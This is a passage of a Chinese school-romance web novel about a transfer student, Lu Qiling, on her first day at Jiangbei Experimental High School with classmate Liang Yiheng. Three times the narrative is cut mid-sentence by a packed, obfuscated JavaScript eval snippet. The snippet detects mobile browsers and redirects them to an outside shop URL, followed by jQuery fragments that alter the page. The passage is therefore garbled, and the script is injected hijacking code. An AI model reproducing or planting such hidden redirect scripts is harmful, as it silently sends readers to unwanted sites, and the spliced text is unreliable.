十分担心梁屹恒会恼羞成怒。 好在她的情绪来得快,等刷完两套试卷,转眼便如同过眼云烟般消散。 隔天就是开学日。 刚过六点,路期灵从床上爬起来去洗漱。由于没有校服,需要学生本人去后勤处领取,因而她穿了自己的衣服,很规矩的一套白色衬衣与牛仔裤。 收拾好以后,她拎着书包下了楼。 梁驭呈已经在餐桌前办公。 路期灵语调雀跃地喊:“哥,早上好。” “早上好,怎么不多睡会儿。”梁驭呈放下平板,“水鸣桥那条路最近检修,开车去学校得绕道。不然你们七点十分出门,也赶得上早读。” 阿姨正好给她送早饭。 路期灵接过来,乖乖道了声谢,拉开椅子坐下:“我睡不着,闹钟还没有响就醒了。可能是有点激动。” 梁驭呈乐了:“那还用我送你吗?” “不用不用。”路期灵掰开油条蘸了蘸豆浆,连声拒绝,“之前办转学手续的时候,我都记着路呢。” 梁驭呈:“那让阿恒陪你去领校服。” 其实这倒没必要麻烦梁屹恒。 实验中学那么多学生,走在路上,随便找到一个都能问清楚。况且他说了,只会帮助解决不了的事。 路期灵嘴里含着食物,只好鼓着腮帮子,加快速度咀嚼,还没开口推辞。 隔开一个位置的椅子突然被朝后拉。 地板发出轻微的摩擦声。 她扭头看去,就见梁屹恒穿着黑白色拼接的校服,袖口捋到小臂。外套拉链拉得很高,挡住了下巴,鼻梁挺拔侧脸俊朗,一言不发地将书包挂在椅背。 气压很低,比以往任何一次碰面都难以接近。 梁驭呈盯着他看了半晌:“感冒了?” 梁屹恒敷衍地回:“有点。” “自己注意点。”梁驭呈说,“最近降温,晚上不要有事没事往出跑,淋了雨一着凉就容易感冒。” 梁屹恒半仰着脑袋往后靠,说话时带了点鼻音,随口道:“没事谁下雨天晚上出门。” 梁驭呈莞尔:“那你下次被我抓到,可别再说什么喜欢淋雨夜跑了。” “……” 这个话题告一段落,梁驭呈转瞬又提起先前的事:“报到完,你记得带小路去后勤室。” 路期灵从碗里抬起脸,瞅了瞅左边的人。 果不其然,梁屹恒缓缓撩起眼皮,要笑不笑地说:“我是她伴读?吃喝拉撒睡都要我负责。” “……” 路期灵差点被呛住。 看不明白这两人的聊天氛围为什么总是剑拔弩张。 她赶紧举了下手打断:“那个——” 餐桌上另外两个人同时看了过来。 路期灵感觉自己像个端水大师,做出稍安勿躁的手势,一脸正直:“我知道后勤处在哪,可以自己去。” 顿了顿,梁驭呈没勉强:“那你就辛苦一点。” “嗯嗯。” 路期灵顺势点头应下。 很怕再度被卷入这场口角之争里,于是立马握着勺子,埋头喝豆浆,她忍不住沉甸甸地吐出一口气。 不辛苦,命苦。 …… 结束早饭,司机杨叔早早将车停在了庭院外。 路期灵提前坐上车,见梁屹恒还没出门,她翻出单词本,窝在后座里专心致志地背了会儿。 不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786661|190492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道过了多久,窗外一道人影闪过。 咚咚两声。 车窗玻璃被轻敲了下。 杨叔降下车窗,路期灵跟着抬眼望过去。 梁屹恒坐在一辆黑色自行车上,单脚踩住花坛边沿,双手扶着车把,脊背微微弓起。侧头时额发在眉眼处轻扫。 杨叔:“你不跟我们一起走?” 梁屹恒眼风往后一偏,唇线稍抿,解释:“不顺路,我要先去一趟陈家。叔你直接送她就成。” “我绕点路送你,又不远。” “不用。”梁屹恒脚尖勾着踏板往回倒了一圈,淡声说,“待会儿你再带她领个校服,麻烦了叔。” 话音落,不待杨叔再挽留。 梁屹恒脚下略一用力,利落地收回长腿,自行车朝前驶去。夏天的风将他的黑发吹乱,后背外套也鼓起。 浑身充满了蓬勃张扬的青春气息。 很快,他拐弯消失在两人的视野里。 路期灵收回目光,将怀里的书包放到身旁。车外景象逐渐向后倒退,她打了个呵欠,顺着单词页往下背。 约莫过了十多分钟。 车子抵达学校,路期灵困困的双眼立马有了精神,趴在窗沿向外看。 六根圆柱支撑着上方的拱形建筑,中间横栏描金镌刻“江北市实验中学”,简约大气。校门外两侧柏树林立,水泥地面上,画着大片的黄色网格线。 这天是工作日,学生家长都赶在这个时间。 学校不允许外来车辆进入,就近的临时车位被占满,杨叔驱车在附近转了几圈,毫无空位可停。 时间一分一秒过去,眼看人越来越多。 杨叔皱眉:“不然我往远处走走。” “不麻烦了叔叔。”路期灵不想在找车位上浪费精力,朝外看了看,“我在这里下车,您回吧。” 杨叔:“那怎么行,我得把你送到。” 路期灵:“我自己可以啊。” 见她态度坚持,杨叔只好靠边停车。 路期灵将书包挎到肩上,听他叮嘱了几句,道过别,沿着学校外围的铁栏杆原路返回。她按照记忆找到办公室,里面只有两三个学生。 班主任不在,她准备先去领校服。 离开前,她主动向其中一位女生问了路。 对方只知道后勤处在行政楼五层,记不清是哪一间。路期灵离开教学楼后,在园区内不太熟悉的七拐八绕,又走了会儿,看到不远处的高楼。 她艰难地顺了顺发闷的胸口。 恰好这时候,有几个男生嬉笑着经过,路期灵努力稳住呼吸,小口喘着气,走到他们跟前:“你好。” 笑闹声戛然而止。 并肩行走的几人纷纷侧头,路期灵喉咙有些痒,清了两下说:“请问后勤处在这栋楼吗,是几零几呀?” “五零九。”中间最高个的男生耐心道,“你出电梯后的左手边,然后再左转往前走,门口贴了牌子。” 一边听他说,路期灵一边无声重复。 得到具体地点,她稍稍放下心,冲对方感激一笑:“谢谢啦!” 她的笑容丝毫不加以掩饰,唇角弧度带动脸部线条随之扬起,眼尾弯着,瞳孔亮晶晶的,幅度大却完全不夸张。 看得人莫名心情好。 行政楼前有几级台阶。 路期灵走了没两步,视线一偏,忽而瞥见玻璃门内的拐角处站了个人。对方瘦瘦高高的,靠在墙面上低眸玩手机。 校服袖口滑落,露出手腕的黑色细绳。 路期灵扒着玻璃门,探头:“你不是有事吗?” 闻言,梁屹恒食指抵着手机顶部朝下压,掌心收拢,不疾不徐站直身,没回答她问题:“东西领了?” 路期灵:“还没有。” 梁屹恒气定神闲地嗯了一声。 旋即,他提步走向电梯。 路期灵见状加快步伐跟了上去:“你也要去?” “不然?”梁屹恒按下电梯上行按钮,双手抄进口袋里,“我闲得没事干,来当电梯看管员?” 路期灵一脸看穿,欠欠道:“这谁知道呢。” “……” “你等我多久啦?”路期灵回想他那副寡淡无趣的神色,郁闷地说,“这学校小路好多,太容易迷路了。” 话锋一转,她又小小庆幸了下:“不过还好,遇到了热心肠的同学。” 这句话显然让梁屹恒同样想到什么。 他眼睑动了动,嗓音凉凉,话语听上去没有其他含义:“你对谁都这样?” 没懂他意思,路期灵一头雾水:“哪样?” “这么热情似火的跟人——”梁屹恒侧目看她,眸光稍停,而后慢悠悠地吐出两个字,“搭、讪。” 4. 登陆04 路期灵眨了眨眼睫,迟缓地偏过头,茫然不懂地回视,像是对他这意有所指的形容不太理解。 毕竟这人长着一张正人君子的脸。 按理来说,应该不会做出在当事人面前,空口白牙污蔑人的行为。 电梯门缓缓打开。 两人一前一后走了进去。 考虑到现在梁屹恒好心带她去后勤处的事,默然两秒,路期灵决定不跟他计较,捧场道:“看不出来你挺幽默哈。” 梁屹恒坦然接受:“谢谢夸奖。” “……” 谢的还挺从容自如。 难道没听出来她只是在敷衍了事吗。 但这话是不能说出来的。路期灵被他理所当然的语气噎到,憋出一句:“你刚才怎么不直接喊我啊?” 梁屹恒随之看向她。 四目相对,他慢条斯理反问:“我为什么喊你。” 本来对他特意等在行政楼这个举动,路期灵可以做到心领神会。可偏偏要扯到搭讪这样无厘头的话题。 她终于懂了,这人没有热心肠,应该是黑心肠才对,忍不住控诉:“所以就是想看我着急上火呗。” 梁屹恒轻哂:“我有这么坏心眼?” “那你实在挺难懂的。”路期灵一脸无语,也开始自顾自地胡扯,“你说你都专门从旧城区赶过来,在这里等着我了,还怕被别人知道咱俩认识啊。” “……” 路期灵瞳孔震惊:“你居然真担心这个?” 梁屹恒一滞,骤然卡壳。 有这么一瞬间,他感觉自己快要不能理解专门赶过来这句话的意思,匪夷所思地盯着路期灵。 或许是这番话的槽点太多,他一时之间没能找到先后反驳的顺序,在长达数秒的间隙里久久没回过神。 路期灵甚至看到他眉头细微地动了两下。 “好吧。”她愉快的心情消失大半,心道简直无语,而后装出一副善解人意的样子承诺,“借住梁家的这件事,我不提就是了。” 紧跟着又竖起一根手指,满脸警惕:“但提前说好,我可没办法保证别人啊!” “……” 静默无声。 除了电梯的运行声,场面状若静止。 怎么呢,居然半天没反应。 难道真被自己的超能力给无触碰攻击到了吗? 路期灵没忍住凑近,稍稍仰起脸,打量他须臾,倏然抬手在他眼前挥了挥,小心翼翼问:“睡了?” “……” 梁屹恒如同患上失语症般地深吸了口气。 完全不想说话。 恰好此时,电梯到了五层。 没等到回答,路期灵有些失望地退后一步,拉开距离,正打算往出走,梁屹恒迈开步子,率先离开了这是非之地。他个子高大,脊背清瘦挺立。 头也不回的样子宛若不愿再多看她一眼。 纸老虎。 路期灵暗暗腹诽,忍着唇角的得意弧度追上去。 就在她以为这话题结束的时候。 梁屹恒突然毫无缘由地嗤道:“你倒是自来熟。” “不然?”路期灵浑然不觉地学他说话,“咱俩对话一页纸都写不下了,还不熟悉啊?” “……” 脚步一停。 走在前面的梁屹恒忽而转头,黑色领口蹭过下颌,衬得他面色冷淡,忍无可忍地呛声道:“你理解能力这么差,语文成绩能上九十吗?” 路期灵的笑容僵住:“我语文最低一百二。” 闻言,梁屹恒轻描淡写地睨着她。 随后耸了耸肩,毫不客气道:“噢。不信。” 这说的还是人话吗? 对于极其看重学习成绩的路期灵来说,绝对不能接受这种屈辱。瞧着梁屹恒扳回一局的臭屁模样,看了半晌,她嘴角渐渐往下压,抿着唇一声不吭。 根据守恒定律来看,快乐只会转移。 路期灵的脸蛋严肃紧绷,很硬气地越过他就要走。 刚擦肩而过。 梁屹恒倏地出声喊住她:“喂。” “……” 路期灵没搭腔。 下一秒,衣服后领被人揪住,她被轻拽着往后一个趔趄。刚站稳,杏眼顿时睁大,表情浮现出惊怒。 脑海中闪过无数个想法,最终停留在—— “这荒山野岭的地方,可恶的梁屹恒该不会是要动手打人吧”的念头上。 但还没来得及回头。 脖颈后的桎梏便格外及时地松开了她。 耳边传来梁屹恒闲散的声音,拖着调子,带了点息事宁人的意味,以及一丝微不可察的轻笑。 “这边。” 路期灵忍气吞声地观察了下,发现的确是自己走错了方向。又因为胡乱臆想,耳根飞快飘上一抹红,脑袋热的像是要爆炸了。 她吭哧了会儿,羞恼地加重语气:“谢谢!” - 在此之前,路期灵压根没想到他们两个之间,先恼羞成怒的人会是自己。但按照梁屹恒说的,他们不熟,自然没必要在意这么多。 三言两语将忧郁的心情哄好。 走出行政楼,她宽宏大量地跟梁屹恒道了别,随即板着脸扬长而去。 路期灵回到高二年级组办公室。 这会儿里头几个工位都空着,只有靠近角落的位置上坐了个女人,是她未来两年的班主任,三十来岁,长卷发。 戴着一副无框眼镜,气质知性温柔。 瞧见来人,班主任放下杯子说:“路期灵?” “是的老师。”路期灵站到办公桌旁边,被注视着,她有些紧张,“刚才您不在,所以我就先去领了校服。” 班主任将学生登记册递给她:“没事。来,你填一下这个表格。” 在原来学校,帮老师做这些事的人都是她。 路期灵在书包里翻了支笔,很快上手。写到家长联系方式时,她下意识照抄了前面自己的手机号。 见状,班主任皱了下眉:“这个最好填你父母的电话,否则有什么事情我联系不上对方。” “我父母都过世了。”路期灵老老实实地交代,“我是跟着姑姑生活的。但鹤林距离这边比较远,她来一趟不太方便。” 班主任看了她一眼,抿唇:“抱歉。” 路期灵不以为意:“没关系。” “我记得你现在是住在梁屹恒家里?”班主任想了想,提议道,“那暂时不用填了,回头我问问他家长。” 路期灵划掉那行数字:“谢谢老师。” “对了,我还没自我介绍吧,我叫徐春影,教你们班数学。”徐春影低头检查表格内容,“你办手续那天我也在学校,临时被喊去干活了,没见到你。” 路期灵站在一旁乖巧地听着她的话。 “行,没问题。”徐春影合上登记册,起身,“走吧,我带你去教室。之后有任何问题你随时来找我。” 走出办公室,路期灵道了声谢。 徐春影走在她左前方,口中不断科普着其他几位任课老师的信息。路期灵听得一脸认真,时不时点点头。 高二十一班在博学楼三楼,和七班相对,分别在左右两侧走廊的尽头。爬上第三层,徐春影向左手边拐去。 由于这间教室只有一扇前门,不能突击检查。 到了门口,她停下来听了阵动静。 路期灵跟在后头,贴着墙根。 以前都是被后门玻璃窗上的人脸吓到魂飞魄散,此时此刻,她狠狠感受了一把老师视角的快乐。 班里一片叽叽喳喳声,吵得热火朝天。 没多久,前排几名学生注意到了徐春影的存在,神情一紧,纷纷埋下头装作很忙的模样,而其他人还在闲聊。 直到坐在二列四排的梁屹恒心有所感地抬起眼,瞥见看热闹的路期灵,眸色一顿,屈起指骨冷不丁地敲了下桌角。 不算明显的一声却很有效。 紧接着,以他为中心迅速向周围发散。 一个接一个地安静下来。 顷刻间鸦雀无声。 徐春影抱着胳膊站上讲台,调侃:“这刚开学,你们的八卦聚集地就迫不及待地开门营业了是吧?” 环顾一周,她临时揪了个过道边的男生:“云繁,你贼眉鼠眼地笑什么呢?说出来让我也高兴高兴。” “别了吧徐总,我害羞。”被点到名字的云繁没个正形,插科打诨道,“况且我这么标致一小帅哥,跟贼眉鼠眼这四个字哪儿搭了?” 徐春影乐了:“那跟什么搭?” 云繁故作沉思地琢磨片晌,一本正经:“这不得用个浓眉大眼什么的啊。” “……” 静谧的空间里爆发出高亢的笑声。 路期灵新奇地循声看去,只见叫云繁的男生似曾相识,是在裁缝铺里,她追出去交还墨镜的男生。 “行了,安静一下。”徐春影抬手向下压,“这学期咱们班转来一位新同学。来,做个自我介绍。” 说着,她朝路期灵招了招手。 讲台底下的学生陆续抬头。 路期灵走进来,落落大方地开口道:“大家好,我叫路期灵,不期而遇的期,灵感的灵。以后请多多指教。” “好!” 话音刚落,云繁尤为捧场地拍手。 在他的带动下,教室里响起一阵鼓掌声。 路期灵看了一眼男生。 云繁显然同样把她认了出来,照常发挥自来熟的本性打了个响指,路期灵无言到直乐,控制住表情冲他一笑。 余光捕捉到旁边一抹身影。 路期灵不自觉地侧目,在几十双眼睛下,猝然与梁屹恒四目相对。 他单手托着脸,另一只手有一搭没一搭地转着水笔,面色极淡,对视的黑眸里没有半点情绪。 好似陌生人间无关紧要的一眼。 正好徐春影在安排座位,路期灵适时收起目光。 鼻尖轻哼一声,心想:拽什么拽! 走到窗边的七列三排。 路期灵放下书包,正要伸手,忽然有人先一步帮忙扯开了椅子。她诧异地看了过去,同桌红着脸说:“你好你好,我叫祁年。” “嗯嗯你好。”路期灵顺势坐下,“谢谢。” 徐春影仍站在讲台上说着这学期的安排,无外乎是学习与安全,都是些老生常谈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786662|190492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路期灵分神听着,拿出文具袋与草稿本,将书包塞进桌洞。 察觉到边上不停投来的眼神。 路期灵困惑道:“你为什么这样看我?” 没想到被抓包,祁年略带婴儿肥的脸颊颜色更深了,有些羞涩道:“你好漂亮啊,声音也好好听。” 路期灵愣了下,不自在地挠了下眼皮。 就又听祁年的语气振奋起来,眼睛亮亮地:“以前我觉得我们班最好看的是谷一笛,但今天我将改变主意!” 尽管被夸好看是件很容易让人愉悦的事,可初来乍到,路期灵斟酌道:“这么说不太好吧。” 祁年晃了晃手指:“爱美之心啦!” “……” 原本路期灵还想在新同桌这里留下文静印象。 但听对方这样说,她深以为然,立刻趴在桌上追问:“谷一笛是谁啊?” 颜控属性的雷达触角不经意间连接。 祁年立马找到同道中人,跟她挨着脑袋,小幅度地朝一个方向指了指:“那个丸子头女生,看到了吗?” 高二年级共有二十个理科班,每班五十多个人。 十一班的课桌分布情况,与路期灵以前学校的两人一桌不同,而是二四二的模式。此时第二排中间位置坐了两男两女,路期灵很容易就锁定了对象。 像是对视线格外敏感,她回了下头。 女生肤色白皙,端坐时肩颈笔直,眉眼明艳,是极其秾丽的长相,让人感觉视野一阵清晰。 路期灵毫不夸张地附和:“我一百度的近视都消失了呢!” “对不对!”祁年挨着她的手臂说,“她是我们班学习委员,性格超好的,就是不怎么爱说话。” 被她的某句话吸引了注意力,路期灵的好奇心一下子飞涨:“学习委员?那她成绩是不是特别好?” 祁年:“你怎么知道!” 路期灵:“……”这不是理所应当的吗。 好在祁年没留心她的反应:“那是相当的好。我听说,她原本的第一选择不是我们学校,其实是被王导从附中手里抢来的。” 路期灵艳羡不已:“好厉害!王导又是谁?” “导演梦破碎后,怒而进入教育行业的年级主任。”祁年摆摆手,“这个不重要。反正她高一不管大考小考,稳坐班里第二,年级前十。” 路期灵满眼都是对学霸的崇拜:“那第一呢?” “第一在那儿。”祁年偏头朝左后方撅嘴示意,“我们班班长,梁屹恒。” 听到这个名字,路期灵一懵:“你说谁?” 祁年下意识重复:“梁屹恒呀,咱班最帅那个。不过他年级排名不太稳定,经常摆烂,跟隔壁班两位学霸争前三,有次月考掉到第五,给徐总吓个半死。” “……” 实验中学与其他几所作为常年争第一的知名老校,师资力量雄厚,教育资源数一数二。每年高考放榜,考入全国各大重本高校的学生不计其数。 近几年更是巅峰,连续三年夺下状元。 路期灵舔了下嘴唇:“他上次考了多少啊?” “班长吗?”祁年略作回想,“我记得好像是七百多,第二名咬得很紧,就差了两三分。” “……” 路期灵郁闷了。 耳边传来祁年的碎碎念,也听不进去了。 虽然此前听说过梁屹恒的学习不错,以后可以共同进步的话。但自从对梁驭呈的那番介绍开始产生怀疑后,她的确没把这事放在心上。 以为只是谦虚说法,谁知竟然只有这一句是真的。 刹那间,想到早上的对话。 路期灵猛然醍醐灌顶,不由得产生了种难怪他会对自己冷嘲热讽,原来是有资本兜底的错觉。 转念一想,七百分的大佬,看来此人势必要交好。 近水楼台先得月,这大腿她不抱谁抱。 路期灵捏了捏拳头,心底仅存的零星不快随之消散。鬼使神差地,她动作很细微地慢慢转过头。 抬起眼睑,鬼鬼祟祟地瞟向梁屹恒。 他正垂眸做着摊开的题册,身体朝后靠,姿势懒散。无处安放的长腿随意屈起,另一只脚踩椅子底部的铁杠。 慢悠悠地晃动脚尖。 大概是她的注视过于专注灼热,梁屹恒眼皮动了动。 路期灵快速坐正,继而摇头:“不能比啊。” 祁年不解:“比什么?” “脑子。”路期灵打开错题本,盯着上头手抄的字迹,痛心疾首道,“人比人,真是气死人!” “……” 明明是同样构造的大脑。 可为什么别人的就那么好使呢。 路期灵翻了会儿笔记内容,没能忍住,再度悄无声息地侧转脑袋,朝着梁屹恒的座位看了过去。 却不料在这个时候,他忽然抬眸。 那双如似点漆的眼毫无遮挡地回望着她。 路期灵的思绪空了半拍。 没等她做出回应,对面的梁屹恒不声不响地伸出食指与中指,微曲,点了点自己,又反过来对准她—— “I''m watching you.” “……” 5. 恒星05 被他不言不语地凝视着,路期灵莫名品出一种审视的意味,顿时生出做贼心虚的感觉。抿了抿唇,她装出一副随便瞧瞧的样子,故作自然地避开眼。 等了会儿,后背那抹聚焦感消散。 路期灵肩膀一垮,松了口气。 讲台上的徐春影收起手机,拍了两下黑板:“临时通知啊,今天下午不上课,但要进行摸底测试。” “什么!”有人嚷嚷,“之前不是说不考吗?” “就是啊,这什么都没准备呢。” 这消息如同平地惊雷,让所有人措手不及。 接话的几个男生嗓音清亮,剩下的学生在座位里小声抱怨着,三言两语落进路期灵耳中,她的情绪也备受感染。 立马抬起头,注意力高度集中。 教室里闹哄哄的。 徐春影看向发言的男生:“你想准备什么?都给我把心思放端正点儿。”警告完她语气一转,揶揄道:“要是让你们提前知道了,算哪门子临时通知。” “……” 大部分人开学第一天的好心情都因此被破坏。 宛若丢进油锅里的虾,蹦跶不了几下,霎时间丧失了闲聊的欲望。 祁年前面还优哉游哉地翻阅杂志,此刻蔫巴巴地说:“真讨厌。早知道我就请假回家了,最烦考试了。” 路期灵也愁容满面:“谁说不是呢。” 祁年:“你上学期考了多少啊?” “应该算不上太好。”想着这学校和鹤林一中之间的差距,路期灵保守估计排名,哀叹,“班里中等水平吧。” 祁年安慰道:“那也很不错了。” 跟实验中学的情况相同,鹤林一中也是高一第三次月考后进行分科预选,第二学期开学正式分班。 六门课总分七百五,路期灵上次期末考了六百二,年级排名第一。鹤林地处偏僻,一中是县城唯一一所高中,如果没有对比,她的成绩自然还算不错。 可现在换了新学校,两个第一足足拉开八十分。 “……” 八十分啊!! 老天奶。 这简直是噩梦般的打击。 路期灵苦着脸,生无可恋地趴在桌上。 这时候教室门口出现了一名男老师。 徐春影走到他跟前,说了几句,随后看了眼梁屹恒:“班长,你带几个人去图书馆领新教材。” 闻言,路期灵下意识往后偏头。 梁屹恒不慌不忙地做了个OK的手势,随便点了五六个男生往外面走。他缀在最后头,身形颀长,明明穿着同样的校服,可就是给人一种闲适的松弛感。 在成群结队的几人里格外耀眼夺目。 路期灵神情沮丧地暂时放空自我,走了会儿神。几分钟后,她振作起来,重新接受现实。 成绩好只能说明人外有人,不代表她不努力。 路期灵乐观地想:厚积薄发也是一种本事嘛。 发现她一动不动地保持垂头的姿势许久,以为是害怕考砸,祁年瞬间感受到惺惺相惜的怜爱。戳戳她手臂说:“别担心啦,一次考不好没关系的。” 路期灵疑惑地啊了声:“我不是在想这个。” “是吗?”祁年说,“我还以为你在打坐呢。” “哦那不是,我在冥想。”路期灵拿出笔,规规矩矩摆放在试卷边,双手合十,煞有介事地拜了拜,“比如我现在已经得到升华,要开始笨鸟先飞了。” “这么神?”祁年异想天开,“那冥想能不能别让我飞,让知识主动钻进我脑子里。” 路期灵看她一眼,为难地思考片刻:“不知道你有没有听过一句话。” 祁年凑近:“什么?” “靠山山倒,靠人人跑——”路期灵在新同桌面前委婉不过两秒,迅速改口,“所以你还是靠自己吧。” “……” - 第二节自习转眼度过。 路期灵放下笔,偏头活动了两下脖子。 因为看她学的专心,祁年一整节课都没敢打扰到她。此时一下课,她小嘴立马开始叭叭:“我刚才发现班里好几个人都在偷瞄你呢。” “偷瞄我?”路期灵来了兴致,“在哪里?” 祁年着急地拽她小臂:“哎呀你不能这么看。” 闻言,路期灵听话地缩回脑袋。 “左边那个。”祁年在她耳边小声提醒,“你慢慢转头,不要打草惊蛇。” “……” 不知道是这语气偷偷摸摸的刺激感太重,还是路期灵脑子短路,竟然真的按照祁年说的一点一点行动着。 可惜她没做过这种事,动作略显生疏。 非但不丝滑,反而像极了一帧一顿的小机器人。 路期灵欲言又止:“我好像在做贼。” “放心好了。”祁年说,“你这样的去当贼,一秒就能给主人家抓住。” 话音落,路期灵倏然对上了一个正看着她的女同学的眼睛。对方愣了愣,随后极其友好地伸手跟她嗨了一声。 她也翘起嘴角,心情荡漾地朝女生笑了下,小幅度地挥挥手。 “看到了吗?” 旁边传来祁年的声音,路期灵点头,紧接着她又说:“还有前排那三个,他们现在肯定在讨论你呢。” 路期灵不想再继续丢人现眼的偷窥动作,赶紧阻止:“可能只是好奇啦。” “不过你也太专注了点。”祁年掏出小镜子照了照,“我被他们晃来晃去的眼神弄烦了好几次,但你好像完全没有受到影响。” 路期灵一副“难道不应该吗”的模样,坦荡地看她一眼:“因为目前来说,学习就是我的要紧事啊。” 发现似乎的确是这样。 默默几秒,祁年赞同道:“你说的没错。” 埋头刷了几十分钟的题,路期灵有些口渴。 从书包里拿出保温杯,拧开盖子,闭着眼喝了几口。这杯子她用了四年,已经不太好用了,但因为是路芸送的生日礼物,所以一直舍不得换掉。 绿色瓶身上印了只小恐龙的图案,边角摩擦久了开始磨损褪色,显得老旧。 刚喝完水。 祁年将镜子放好,站起身,扯过路期灵的手臂,嘿嘿一笑:“上厕所吗?正好出去放松一下眼睛。” 学生时期的一起上厕所,是开始友谊的象征。 路期灵没有拒绝,走出教室,到了外面宽敞的走廊,她换手挽住祁年的胳膊,松松挂在她臂弯。 大课间有二十分钟的休息时间。 走廊里人很多,三五成群的站在阳台边聊天,拐角处有男生嬉笑打闹。两人穿梭在人群的时候,很快有人注意到了路期灵这张新面孔。 她毫无所察,排队进了厕所。 这期间,有同楼层与祁年相熟的女生搭话。 在她见缝插针的介绍下,上午还没结束,十一班新转来了个漂亮女同学的消息便传遍了整个高二。 即便下午要考试,也没有打消其余班同学凑热闹的心思,门口时不时出现两三个前来搜寻议论的身影。 “转学生在哪儿呢?” “是第三排窗户边上那个不,有刘海的。” “漂亮是漂亮,怎么有点呆呆的。” “你懂不懂欣赏啊,这叫笨蛋美人。”隔壁班的男生靠在他们后门边,推了推眼镜,“我就喜欢这——” 话还没说完。 他们中间有人忽地被撞了下肩膀,脚下晃了晃,扑在说话的眼镜男身上。后者扶着墙站稳,怒气冲冲地抬头,冷不防撞进一道凉凉的视线。 眼镜男顷刻间噤了声。 梁屹恒刚从徐春影办公室过来。 手里拎着笔记本,松松垮垮地垂在身侧。 走廊阳台外光线明亮,跌落他脸上,反而给倨傲的眉眼增添几缕距离感。一米八六的身高彻底碾压过对方,带来浓郁十足的禁锢与压迫。 梁屹恒停下脚步,气息冷然。 几个男生面面相觑。 想到他们不久前说出口的话,一时间莫名心生畏惧。毕竟在整个高二,谁不知道十一班班长出了名的护短。 趁还没被波及,灰溜溜地转身跑了。 只留下眼镜男僵立在原地,硬着头皮问:“你、你看我干什么?” “我看你长得漂亮。” “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786663|190492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 梁屹恒的语调羞辱意味十足。 他的目光刻薄,来来回回扫视对方几眼,冷淡的模样仿若是在观察砧板上的肉:“你说你长得这么漂亮——” 眼镜男嘴唇嗫嚅。 梁屹恒顿了下,声线轻慢:“你喜欢什么?”随后,他唇角轻扯,又将自己听来的话加诸在男生身上。 “是喜欢评头论足,还是喜欢痴心妄想。” “……” - 门口发生的对话在其他班小面积地散播一通。 有了被梁屹恒抓现行的几个,试图再来三楼的人不免打起退堂鼓。上午最后一节课时,外面已经安静了下来。 这些情况并没有传进路期灵的耳朵里。 比起讨论八卦,即将到来的测试显然更吸引她。 临近放学还有三分钟,路期灵从书本里抬起头,提前做好下课的准备。她跟祁年提前讨论过,打算去校外吃一家铜锅米线。 长达十秒的铃声刚一响起。 教室里的人纷纷朝出走,同时,楼上的学生也一窝蜂地往下冲,楼梯间格外闹腾。两人卷入人潮中被推着走,不知道谁身上的汗臭味,异常明显。 混杂着其他味道,浑浊又刺鼻。 铺天盖地地占据了所有空隙,路期灵毫无预兆地差点干呕出声。 憋着呼吸走到教学楼外,空间顿时变得开阔。她深深换了一口气,红着眼大吐苦水:“臭死了。” 祁年暴躁道:“肯定又是哪个男的打完球不洗澡,还说这是男人的勋章,真是服了。” “……” 见鬼的勋章吧。 这语文成绩得多差劲啊。 路期灵同样无法理解,忍不住纠正:“我看是脏兮兮的脏还差不多。” 祁年脸色阴转晴地笑了起来。 刚要开口,有人在文化墙那边喊了声她的名字。祁年看过去一眼,拍拍路期灵的胳膊让她等一下,小跑过去。 周围陆续有学生走过。 路期灵不好一直停留在路中间,往边上走了两步,站在宣传栏下,双手背在身后,无所事事地踢了踢脚尖。 下一秒,肩头突然被轻拍了下。 她条件反射地回头,就看到身后的云繁。 以及半步开外在打电话的梁屹恒。 像是完全不担心被抓典型,他光明正大地举着手机。不知道电话那头的人说了什么,梁屹恒的表情带了点不耐烦。注意到云繁的举动,他随意瞥了眼。 和路期灵的视线相撞。 半刻后,他没什么情绪地垂眸。 而路期灵完全没将他的漠视放在心上。 大概有高分学霸的滤镜,此时见到梁屹恒,她不由自主地感到几分亲切。神色灵动鲜活,眼珠明亮地望向对方。 果然,宝石蒙尘也难掩锋芒。 尽管梁屹恒拥有一张特立独行的嘴,但那又如何,比起他的优秀,这点瑕不掩瑜的缺点反而算锦上添花。 回想起要交好的小心思。 路期灵仿佛已经看到自己未来扬帆起航的成绩,心潮澎湃地略过他的疏离,以及兴致冲冲准备搭话的云繁。 她毫不迟疑地喊:“班长,好巧啊。” 云繁:“……” 听到活泼的女声,梁屹恒撩起眼皮。 面色淡定地朝她看过去。 路期灵脸上带着坦率明媚的笑容,瞳孔熠熠生辉。在此刻灰蒙蒙的环境里,宛若一抹亮色,鲜艳夺目。 难怪上午会有一波接一波的人来打探。 不知想到什么,梁屹恒意味深长地直视了她须臾,浅淡扬眉:“看样子你心情挺不错?” 